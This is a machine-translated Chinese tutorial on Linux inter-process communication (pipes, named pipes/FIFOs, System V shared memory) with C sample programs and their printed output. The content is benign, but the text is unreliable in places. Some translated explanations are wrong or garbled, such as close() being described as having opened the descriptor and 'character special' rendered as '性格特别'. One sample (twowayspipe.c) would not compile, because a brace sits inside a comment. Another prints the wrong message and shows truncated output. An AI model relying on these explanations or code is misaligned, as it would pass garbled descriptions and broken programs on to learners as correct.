传递给开放系统调用的参数是路径名(相对路径或绝对路径),提示打开文件的目的(例如,打开读取,O_RDONLY,写入,O_WRONLY,读取和写入,O_RDWR,附加到现有文件) O_APPEND,创建文件,如果不存在,则使用O_CREAT等)以及为用户或所有者/组/其他人提供读/写/执行权限的所需模式。 可以用符号来提及模式。

读 - 4,写 - 2和执行 - 1。

例如:Octal值(以0开头),0764表示所有者具有读取,写入和执行权限,组具有读写权限,其他具有读取权限。 这也可以表示为S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH,暗示或操作0700 | 0040 | 0020 | 0004→0764。

成功时,此系统调用将返回新文件描述符id和-1,以防出现错误。 可以使用errno variable或perror()函数识别错误原因。

#include<unistd.h>
int close(int fd)

上面的系统调用已经打开了文件描述符。 这意味着文件不再使用,并且任何其他进程都可以重用关联的资源。 此系统调用在成功时返回零,在出现错误时返回-1。 可以使用errno variable或perror()函数识别错误原因。

#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)

上面的系统调用是从指定文件中读取文件描述符fd的参数,具有已分配内存的适当缓冲区(静态或动态)和缓冲区的大小。

文件描述符id用于标识相应的文件,该文件在调用open()或pipe()系统调用后返回。 在从文件读取之前需要打开该文件。 它会在调用pipe()系统调用时自动打开。

此调用将返回成功时读取的字节数(如果遇到文件末尾则为零),如果失败则返回-1。 返回字节可以小于请求的字节数,以防万一没有数据或文件关闭。 如果发生故障,则设置正确的错误编号。

要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)

上面的系统调用是使用文件描述符fd的参数,具有已分配内存(静态或动态)的适当缓冲区和缓冲区大小来写入指定文件。

文件描述符id用于标识相应的文件,该文件在调用open()或pipe()系统调用后返回。

在写入文件之前需要打开该文件。 它会在调用pipe()系统调用时自动打开。

此调用将返回成功时写入的字节数(如果没有写入则为零),如果失败则返回-1。 如果发生故障,则设置正确的错误编号。

要了解失败的原因,请使用errno variable或perror()函数进行检查。

示例程序

以下是一些示例程序。

Example program 1 - 使用管道写入和读取两条消息的程序。

算法 (Algorithm)

Step 1 - 创建管道。

Step 2 - 向管道发送消息。

Step 3 - 从管道中检索消息并将其写入标准输出。

Step 4 - 向管道发送另一条消息。

Step 5 - 从管道中检索消息并将其写入标准输出。

Note - 在发送所有消息后也可以检索消息。

Source Code: simplepipe.c

#include<stdio.h>
#include<unistd.h>
int main() {
   int pipefds[2];
   int returnstatus;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 1 is %s\n", readmessage);
   printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 2 is %s\n", readmessage);
   return 0;
}

Note - 理想情况下,需要为每个系统调用检查返回状态。 为了简化过程,不对所有呼叫进行检查。

执行步骤 (Execution Steps)

编译 (Compilation)

gcc -o simplepipe simplepipe.c

Execution/Output

Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell

Example program 2 - 使用父进程和子进程通过管道写入和读取两条消息的程序。

算法 (Algorithm)

Step 1 - 创建管道。

Step 2 - 创建子进程。

Step 3 - 父进程写入管道。

Step 4 - 子进程从管道中检索消息并将其写入标准输出。

Step 5 - 再次重复步骤3和步骤4。

Source Code: pipewithprocesses.c

#include<stdio.h>
#include<unistd.h>
int main() {
   int pipefds[2];
   int returnstatus;
   int pid;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   pid = fork();
   // Child process
   if (pid == 0) {
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
   } else { //Parent process
      printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
      write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
      printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
      write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
   }
   return 0;
}

执行步骤 (Execution Steps)

Compilation

gcc pipewithprocesses.c –o pipewithprocesses

Execution

Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello

使用管道进行双向通信

管道通信被视为仅单向通信,即父进程写入和子进程读取,反之亦然,但不是两者。 但是,如果父节点和子节点都需要同时写入和读取管道,解决方案是使用管道进行双向通信。 需要两根管道来建立双向通信。

以下是实现双向沟通的步骤 -

Step 1 - 创建两个管道。 第一个是父母写和孩子读,比如说pipe1。 第二个是孩子写和父母读,比如说pipe2。

Step 2 - 创建子进程。

Step 3 - 关闭不需要的结束,因为每次通信只需要一端。

Step 4 - 在父进程中关闭不需要的结尾,读取pipe1的结尾并写入pipe2的结尾。

Step 5 - 关闭子进程中不需要的结尾,写入pipe1的结尾并读取pipe2的结尾。

Step 6 - 根据需要执行通信。

管道有两个

示例程序

Sample program 1 - 使用管道实现双向通信。

算法 (Algorithm)

Step 1 - 为要写入的父进程和要读取的子进程创建pipe1。

Step 2 - 为要写入的子进程和要读取的父进程创建pipe2。

Step 3 - 从父级和子级侧关闭管道的不需要的末端。

Step 4 - 父进程编写消息和子进程以在屏幕上阅读和显示。

Step 5 - 子进程写入消息和父进程以在屏幕上阅读和显示。

Source Code: twowayspipe.c

#include<stdio.h>
#include<unistd.h>
int main() {
   int pipefds1[2], pipefds2[2];
   int returnstatus1, returnstatus2;
   int pid;
   char pipe1writemessage[20] = "Hi";
   char pipe2writemessage[20] = "Hello";
   char readmessage[20];
   returnstatus1 = pipe(pipefds1);
   if (returnstatus1 == -1) {
      printf("Unable to create pipe 1 \n");
      return 1;
   }
   returnstatus2 = pipe(pipefds2);
   if (returnstatus2 == -1) {
      printf("Unable to create pipe 2 \n");
      return 1;
   }
   pid = fork();
   if (pid != 0) // Parent process {
      close(pipefds1[0]); // Close the unwanted pipe1 read side
      close(pipefds2[1]); // Close the unwanted pipe2 write side
      printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
      write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
      read(pipefds2[0], readmessage, sizeof(readmessage));
      printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
   } else { //child process
      close(pipefds1[1]); // Close the unwanted pipe1 write side
      close(pipefds2[0]); // Close the unwanted pipe2 read side
      read(pipefds1[0], readmessage, sizeof(readmessage));
      printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
      printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
      write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
   }
   return 0;
}

执行步骤 (Execution Steps)

编译 (Compilation)

gcc twowayspipe.c –o twowayspipe

Execution

In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello

Inter Process Communication - Named Pipes

管道用于相关过程之间的通信。 我们可以使用管道进行无关的进程通信吗,比方说,我们想从一个终端执行客户端程序,从另一个终端执行服务器程序? 答案是否定。那么我们如何才能实现无关的流程沟通,简单的答案就是命名管道。 即使这适用于相关流程,但使用命名管道进行相关流程通信也没有任何意义。

我们使用一个管道进行单向通信,使用两个管道进行双向通信。 相同条件是否适用于命名管道。 答案是否定的,我们可以使用单个命名管道,可以用于双向通信(服务器和客户端之间的通信,以及客户端和服务器之间的通信),因为命名管道支持双向通信。

命名管道的另一个名称是FIFO (First-In-First-Out) 。 让我们看一下系统调用(mknod())来创建一个命名管道,这是一种特殊的文件。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);

此系统调用将创建特殊文件或文件系统节点,例如普通文件,设备文件或FIFO。 系统调用的参数是pathname,mode和dev。 路径名以及模式和设备信息的属性。 路径名是相对的,如果未指定目录,则将在当前目录中创建。 指定的模式是文件模式,它指定文件类型,如文件类型和文件模式,如下表所示。 dev字段用于指定设备信息,例如主设备号和次设备号。

文件类型 描述 文件类型 描述
S_IFBLK 块特别 S_IFREG 常规文件
S_IFCHR 性格特别 S_IFDIRDirectory
S_IFIFO FIFO特别 S_IFLNK 符号链接
文件模式 描述 文件模式 描述
S_IRWXU 由所有者读取,写入,执行/搜索 S_IWGRP 写权限,组
S_IRUSR 读取权限,所有者 S_IXGRP 执行/搜索权限,组
S_IWUSR 写权限,所有者 S_IRWXO 他人读,写,执行/搜索
S_IXUSR 执行/搜索权限,所有者 S_IROTH 阅读许可,其他人
S_IRWXG 按组读,写,执行/搜索 S_IWOTH 写许可,其他人
S_IRGRP 读取权限,组 S_IXOTH 执行/搜索权限,其他人

文件模式也可以用八进制表示法表示,例如0XYZ,其中X代表所有者,Y代表组,Z代表其他。 X,Y或Z的值可以在0到7之间。读,写和执行的值分别为4,2,1。 如果需要结合使用read,write和execute,则相应地添加值。

比方说,如果我们提到0640,那么这意味着对所有者进行读写(4 + 2 = 6),对组进行读取(4),对其他进行无权限(0)。

此调用在成功时返回零,在失败时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)

此库函数创建FIFO特殊文件,该文件用于命名管道。 此函数的参数是文件名和模式。 文件名可以是绝对路径或相对路径。 如果未给出完整路径名(或绝对路径),则将在执行进程的当前文件夹中创建该文件。 文件模式信息如mknod()系统调用中所述。

此调用在成功时返回零,在失败时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

让我们考虑在一个终端上运行服务器并在另一个终端上运行客户端的程序。 该程序只执行单向通信。 客户端接受用户输入并将消息发送到服务器,服务器在输出上打印消息。 该过程一直持续到用户输入字符串“end”。

让我们用一个例子来理解这一点 -

Step 1 - 创建两个进程,一个是fifoserver,另一个是fifoclient。

Step 2 - 服务器进程执行以下操作 -

  • 如果未创建,则创建名为“MYFIFO”的命名管道(使用系统调用mknod())。

  • 打开命名管道以用于只读目的。

  • 这里,为Owner创建了具有读写权限的FIFO。 读取群组,没有其他人的权限。

  • 无限次等待来自客户端的消息。

  • 如果从客户端收到的消息不是“结束”,则打印该消息。 如果消息是“结束”,则关闭fifo并结束该过程。

Step 3 - 客户端流程执行以下操作 -

  • 打开命名管道以便写入。

  • 接受用户的字符串。

  • 检查,如果用户输入“结束”或“结束”以外。 无论哪种方式,它都会向服务器发送一条消息。 但是,如果字符串为“end”,则会关闭FIFO并结束该过程。

  • 无限重复,直到用户输入字符串“end”。

现在让我们来看看FIFO服务器文件。

/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   /* Create the FIFO if it does not exist */
   mknod(FIFO_FILE, S_IFIFO|0640, 0);
   strcpy(end, "end");
   while(1) {
      fd = open(FIFO_FILE, O_RDONLY);
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      if (to_end == 0) {
         close(fd);
         break;
      }
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3

现在,让我们来看看FIFO客户端示例代码。

/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   int end_process;
   int stringlen;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
   strcpy(end_str, "end");
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

让我们来看看到达的输出。

编译和执行步骤 (Compilation and Execution Steps)

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3

使用命名管道进行双向通信

管道之间的通信意味着是单向的。 管道通常仅限于单向通信,并且至少需要两个管道用于双向通信。 管道仅用于相互关联的过程。 管道不能用于不相关的进程通信,例如,如果我们想要从一个终端执行一个进程而从另一个终端执行另一个进程,则管道不可能。 我们是否有简单的方法在两个流程之间进行通信,以简单的方式说不相关的流程? 答案是肯定的。 命名管道用于两个或多个不相关进程之间的通信,并且还可以具有双向通信。

我们已经看到了命名管道之间的单向通信,即从客户端到服务器的消息。 现在,让我们看一下双向通信,即客户端向服务器和接收消息的服务器发送消息,并使用相同的命名管道向客户端发回另一条消息。

以下是一个例子 -

Step 1 - 创建两个进程,一个是fifoserver_twoway,另一个是fifoclient_twoway。

Step 2 - 服务器进程执行以下操作 -

  • 如果未创建,则在/ tmp目录中创建名为“fifo_twoway”的命名管道(使用库函数mkfifo())。

  • 打开命名管道以进行读写。

  • 这里,为Owner创建了具有读写权限的FIFO。 读取群组,没有其他人的权限。

  • 无限次地等待来自客户端的消息。

  • 如果从客户端收到的消息不是“结束”,则打印消息并反转该字符串。 反向字符串被发送回客户端。 如果消息是“结束”,则关闭fifo并结束该过程。

Step 3 - 客户端流程执行以下操作 -

  • 打开命名管道以进行读写。

  • 接受来自用户的字符串。

  • 检查,如果用户输入“结束”或“结束”以外。 无论哪种方式,它都会向服务器发送一条消息。 但是,如果字符串为“end”,则会关闭FIFO并结束该过程。

  • 如果消息的发送不是“结束”,它将等待来自客户端的消息(反向字符串)并打印反转的字符串。

  • 无限重复,直到用户输入字符串“end”。

现在,我们来看看FIFO服务器示例代码。

/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   /* Create the FIFO if it does not exist */
   mkfifo(FIFO_FILE, S_IFIFO|0640);
   strcpy(end, "end");
   fd = open(FIFO_FILE, O_RDWR);
   while(1) {
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      if (to_end == 0) {
         close(fd);
         break;
      }
      reverse_string(readbuf);
      printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
      write(fd, readbuf, strlen(readbuf));
      /*
      sleep - This is to make sure other process reads this, otherwise this
      process would retrieve the message
      */
      sleep(2);
   }
   return 0;
}
void reverse_string(char *str) {
   int last, limit, first;
   char temp;
   last = strlen(str) - 1;
   limit = last/2;
   first = 0;
   while (first < last) {
      temp = str[first];
      str[first] = str[last];
      str[last] = temp;
      first++;
      last--;
   }
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3

现在,我们来看看FIFO客户端示例代码。

/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
   int fd;
   int end_process;
   int stringlen;
   int read_bytes;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_RDWR);
   strcpy(end_str, "end");
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         read_bytes = read(fd, readbuf, sizeof(readbuf));
         readbuf[read_bytes] = '\0';
         printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3

Shared Memory

共享内存是两个或多个进程之间共享的内存。 但是,为什么我们需要共享内存或其他一些通信方式?

重申一下,每个进程都有自己的地址空间,如果任何进程想要将自己的地址空间中的某些信息与其他进程通信,那么只有IPC(进程间通信)技术才有可能。 我们已经知道,沟通可以在相关或不相关的流程之间进行。

通常,使用管道或命名管道执行相互关联的过程通信。 可以使用命名管道或通过共享存储器和消息队列的流行IPC技术来执行不相关的过程(例如,一个终端中运行的一个过程和另一个终端中的另一个过程)通信。

我们已经看到了管道和命名管道的IPC技术,现在是时候知道剩余的IPC技术,即共享内存,消息队列,信号量,信号和内存映射。

在本章中,我们将了解共享内存。

共享内存

我们知道要在两个或多个进程之间进行通信,我们使用共享内存,但在使用共享内存之前需要对系统调用执行什么操作,让我们看看 -

  • 创建共享内存段或使用已创建的共享内存段(shmget())

  • 将进程附加到已创建的共享内存段(shmat())

  • 从已连接的共享内存段(shmdt())中分离进程

  • 对共享内存段的控制操作(shmctl())

让我们看一下与共享内存相关的系统调用的一些细节。

#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)

上述系统调用创建或分配System V共享内存段。 需要传递的论点如下 -

first argument, key,识别共享内存段。 键可以是任意值,也可以是从库函数ftok()派生的值。 密钥也可以是IPC_PRIVATE,意思是,作为服务器和客户端运行进程(父和子关系),即相互关联的进程通信。 如果客户端想要使用此密钥的共享内存,则它必须是服务器的子进程。 此外,需要在父获取共享内存后创建子进程。

second argument, size,是共享内存段的大小,舍入为PAGE_SIZE的倍数。

third argument, shmflg,指定所需的共享内存标志,例如IPC_CREAT(创建新段)或IPC_EXCL(与IPC_CREAT一起使用以创建新段,如果段已存在则调用失败)。 还需要传递权限。

Note - 有关权限的详细信息,请参阅前面的部分

此调用将在成功时返回有效的共享内存标识符(用于进一步调用共享内存),如果失败则返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)

上述系统调用为System V共享内存段执行共享内存操作,即将共享内存段附加到调用进程的地址空间。 需要传递的论点如下 -

The first argument, shmid,是共享内存段的标识符。 此id是共享内存标识符,它是shmget()系统调用的返回值。

The second argument, shmaddr,用于指定附加地址。 如果shmaddr为NULL,则系统默认选择合适的地址来附加段。 如果shmaddr不是NULL并且在shmflg中指定了SHM_RND,则attach等于SHMLBA(下边界地址)的最近倍数的地址。 否则,shmaddr必须是页面对齐的地址,共享内存附件发生/启动。

The third argument, shmflg,指定所需的共享内存标志,例如SHM_RND(将地址四舍五入到SHMLBA)或SHM_EXEC(允许执行段的内容)或SHM_RDONLY(默认情况下将段附加到只读目的,默认情况下它是读写)或SHM_REMAP(替换shmaddr指定的范围内的现有映射,并持续到段结束)。

此调用将在成功时返回附加共享内存段的地址,并在发生故障时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)

上述系统调用为从调用进程的地址空间中分离共享内存段的System V共享内存段执行共享内存操作。 需要传递的论点是 -

参数shmaddr是要分离的共享内存段的地址。 要分离的段必须是shmat()系统调用返回的地址。

此调用将在成功时返回0,在失败时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)

上述系统调用执行System V共享内存段的控制操作。 需要传递以下参数 -

第一个参数shmid是共享内存段的标识符。 此id是共享内存标识符,它是shmget()系统调用的返回值。

第二个参数cmd是在共享内存段上执行所需控制操作的命令。

cmd的有效值为 -

  • IPC_STAT - 将struct shmid_ds的每个成员的当前值的信息复制到buf指向的传递结构。 此命令需要对共享内存段的读取权限。

  • IPC_SET - 设置结构buf指向的用户ID,所有者的组ID,权限等。

  • IPC_RMID - 标记要销毁的段。 只有在最后一个进程分离后,该段才会被销毁。

  • IPC_INFO - 返回有关buf指向的结构中共享内存限制和参数的信息。

  • SHM_INFO - 返回一个shm_info结构,其中包含有关共享内存消耗的系统资源的信息。

第三个参数buf是指向名为struct shmid_ds的共享内存结构的指针。 此结构的值将用于set或get as cmd。

此调用返回值,具体取决于传递的命令。 一旦IPC_INFO和SHM_INFO或SHM_STAT成功返回共享内存段的索引或标识符,或者为其他操作返回0,如果失败则返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

让我们考虑以下示例程序。

  • 创建两个进程,一个用于写入共享内存(shm_write.c),另一个用于从共享内存中读取(shm_read.c)

  • 程序通过写入进程(shm_write.c)执行写入共享内存,并通过读取进程(shm_read.c)从共享内存中读取

  • 在共享内存中,写入过程创建一个大小为1K(和标志)的共享内存并附加共享内存

  • 写入过程将字母从“A”写入“E”的5倍,将每个1023字节写入“E”到共享存储器中。 最后一个字节表示缓冲区的结束

  • 读进程将从共享内存中读取并写入标准输出

  • 读取和写入过程动作同时执行

  • 写入完成后,写入进程更新以指示写入共享内存的完成(在struct shmseg中使用完整变量)

  • 读取进程从共享内存执行读取并显示在输出上,直到它指示写入进程完成(struct shmseg中的完整变量)

  • 为简化执行读取和写入过程几次,以及避免无限循环和使程序复杂化

以下是写入过程的代码(写入共享内存 - 文件:shm_write.c)

/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   char *bufptr;
   int spaceavailable;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   /* Transfer blocks of data from buffer to shared memory */
   bufptr = shmp->buf;
   spaceavailable = BUF_SIZE;
   for (numtimes = 0; numtimes < 5; numtimes++) {
      shmp->cnt = fill_buffer(bufptr, spaceavailable);
      shmp->complete = 0;
      printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
      bufptr = shmp->buf;
      spaceavailable = BUF_SIZE;
      sleep(3);
   }
   printf("Writing Process: Wrote %d times\n", numtimes);
   shmp->complete = 1;
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}
int fill_buffer(char * bufptr, int size) {
   static char ch = 'A';
   int filled_count;
   //printf("size is %d\n", size);
   memset(bufptr, ch, size - 1);
   bufptr[size-1] = '\0';
   if (ch > 122)
   ch = 65;
   if ( (ch >= 65) && (ch <= 122) ) {
      if ( (ch >= 91) && (ch <= 96) ) {
         ch = 65;
      }
   }
   filled_count = strlen(bufptr);
   //printf("buffer count is: %d\n", filled_count);
   //printf("buffer filled is:%s\n", bufptr);
   ch++;
   return filled_count;
}

编译和执行步骤 (Compilation and Execution Steps)

Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete

以下是读取过程的代码(从共享内存中读取并写入标准输出 - 文件:shm_read.c)

/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   /* Transfer blocks of data from shared memory to stdout*/
   while (shmp->complete != 1) {
      printf("segment contains : \n\"%s\"\n", shmp->buf);
      if (shmp->cnt == -1) {
         perror("read");
         return 1;
      }
      printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
      sleep(3);
   }
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
